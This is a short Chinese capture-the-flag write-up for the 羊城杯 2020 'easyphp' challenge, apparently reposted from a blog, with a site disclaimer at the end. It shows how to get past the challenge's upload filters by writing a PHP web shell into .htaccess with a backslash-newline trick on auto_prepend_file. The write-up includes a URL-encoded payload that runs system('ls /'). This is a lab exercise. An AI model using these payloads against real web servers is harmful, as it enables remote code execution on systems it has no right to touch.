[羊城杯 2020] easyphp
短信预约 -IT技能 免费直播动态提醒
打开题目,源代码
简单分析一下,先scandir函数
来获取指定目录 ./
下的所有文件和文件夹的列表,然后如果不为index.php,则unlink函数
删除文件。接着就是对上传文件写入内容的黑名单过滤,然后对文件名正则匹配无字母。最后file_put_contents读取文件
既然文件名无字母,我们可以用.htaccess配置文件攻击
思路:向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,但是file关键字被ban了,可以用换行绕过,结尾要用\处理content中的\n。
payload
php_value auto_prepend_fil\e .htaccess #\
注:以注释的方法来写shell
由于这里有换行,我们丢到cyberchef里url编码
成功上传
?filename=.htaccess&content=php_value%20auto_prepend_fil%5Ce%20.htaccess%20%0A#%3C?php%20system('ls%20/');?%3E%5C%20
修改命令,要绕过一下
php_value auto_prepend_fil\e .htaccess #\
编码一下上传,得到flag
来源地址:https://blog.csdn.net/m0_73512445/article/details/132619435
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341